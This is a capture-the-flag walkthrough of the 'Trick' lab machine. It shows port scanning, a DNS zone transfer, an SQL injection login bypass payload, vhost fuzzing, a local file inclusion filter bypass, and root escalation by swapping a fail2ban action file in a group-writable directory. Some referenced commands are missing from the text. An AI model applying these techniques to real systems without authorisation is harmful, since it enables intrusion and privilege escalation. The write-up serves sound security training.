Trick is an Easy Linux machine that features a DNS server and a website with a login page vulnerable to SQL Injection. Performing a DNS zone transfer reveals a subdomain, and further subdomain fuzzing exposes another that is vulnerable to Local File Inclusion (LFI). The LFI is leveraged to read an SSH key for a user, and a misconfigured fail2ban action — writable by a group the user belongs to — grants root once a ban is triggered.
Important
A few steps below are not the author-intended path — where that’s the case it’s flagged inline. They reach the same result through a shorter or different route, which is half the fun of enumeration.
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM| grep '^[0-9]'| cut -d '/' -f 1| tr '\n'','| sed s/,$//)└─$ nmap -p$ports -sC -sV $VICTIMStarting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 14:12 +0200
Nmap scan report for VICTIM-IP
Host is up (0.0059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey:
|2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)|256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 2553/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 53 running BIND is the standout here. The version maps to CVE-2021-25220 (forwarder cache poisoning), but the actual foothold comes from a far simpler DNS misconfiguration. First, directory fuzzing on the web app with ffuf:
DNS over TCP (53/tcp) hints that zone transfers (AXFR) may be allowed. AXFR is meant for secondary nameservers to replicate the full zone — if it’s open to any client, it dumps every record in one query.
So we attempt the zone transfer:
1
2
3
4
5
6
7
8
9
10
11
12
└─$ dig axfr @VICTIM-IP trick.htb
; <<>> DiG 9.20.22-1-Debian <<>> axfr @VICTIM-IP trick.htb
;(1 server found);; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5604800864002419200604800trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5604800864002419200604800;; XFR size: 6 records (messages 1, bytes 231)
We get a new subdomain, preprod-payroll.trick.htb. The root.trick.htb in the SOA is not a subdomain — it’s the admin contact email in DNS notation (first . replaces @). Add both names to the hosts file:
1
echo'$VICTIM-IP trick.htb preprod-payroll.trick.htb'| sudo tee -a /etc/hosts
The login form is vulnerable to a classic SQLi auth bypass:
1
2
Username:' or '1'='1Password:' or '1'='1
This logs us in as admin, but the panel itself is largely a rabbit hole. The real takeaway is the naming convention — preprod- — which suggests more virtual hosts following the same pattern.
preprod-marketing has no DNS record — it’s served as an nginx virtual host routed by the Host header — so a zone transfer or gobuster dns would miss it entirely. We fuzz the Host header instead.
Important
Note — unintended path. The author-intended route to this subdomain is the payroll SQLi → LOAD_FILE() to read the nginx config → spot the preprod-marketing server block. We skip all of that and find it directly by guessing the preprod- naming pattern and vHost-fuzzing. Same destination, fewer steps.
Build a preprod- prefixed wordlist:
1
2
3
4
sed 's/^/preprod-/' /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt > preprod-wordlist.txt
wc preprod-wordlist.txt
4989498973478 preprod-wordlist.txt
Then vhost fuzz, filtering out the default page size (5480):
echo'$VICTIM-IP preprod-marketing.trick.htb'| sudo tee -a /etc/hosts
Tip
ffuf -H "Host: FUZZ" fuzzes at the HTTP layer — it finds vHosts the web server routes by Host header, even with no DNS record. gobuster dns fuzzes at the DNS layer — it only finds names with an actual record. On CTF boxes the vHost approach almost always finds more.
The marketing site routes pages through a ?page= parameter — a textbook LFI candidate. Naive ../ is filtered, but a doubled-up ....// traversal bypasses it. We confirm with ffuf against an LFI wordlist:
michael is a member of the security group (note it from the id output above). Checking sudo -l:
1
2
3
4
5
6
7
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
The security group has write access to the action directory:
1
2
3
4
5
6
7
8
9
10
11
michael@trick:/etc/fail2ban/action.d$ ls -al
total 284drwxrwx--- 2 root security 4096 Jun 5 16:39 .
drwxr-xr-x 6 root root 4096 Jun 5 16:39 ..
-rw-r--r-- 1 root root 1485 Jun 5 16:39 ipfilter.conf
-rw-r--r-- 1 root root 1417 Jun 5 16:39 ipfw.conf
-rw-r--r-- 1 root root 1426 Jun 5 16:39 iptables-allports.conf
-rw-r--r-- 1 root root 2738 Jun 5 16:39 iptables-common.conf
-rw-r--r-- 1 root root 1339 Jun 5 16:39 iptables.conf
-rw-r--r-- 1 root root 2082 Jun 5 16:39 iptables-multiport-log.conf
...
The default banaction in jail.conf is iptables-multiport, so a ban runs iptables-multiport.conf. We can’t edit that file (owned by root), but action.d/ is group-writable — so we delete the file and replace it with our own.
Tip
A writable directory beats a read-only file. Even without write access on a file, write access on its parent directory lets you rm it and recreate it with content you control.
Heredoc with a quoted 'EOF' writes the file verbatim — no shell expansion of $ or backticks inside the block. Ideal for dropping config without an editor.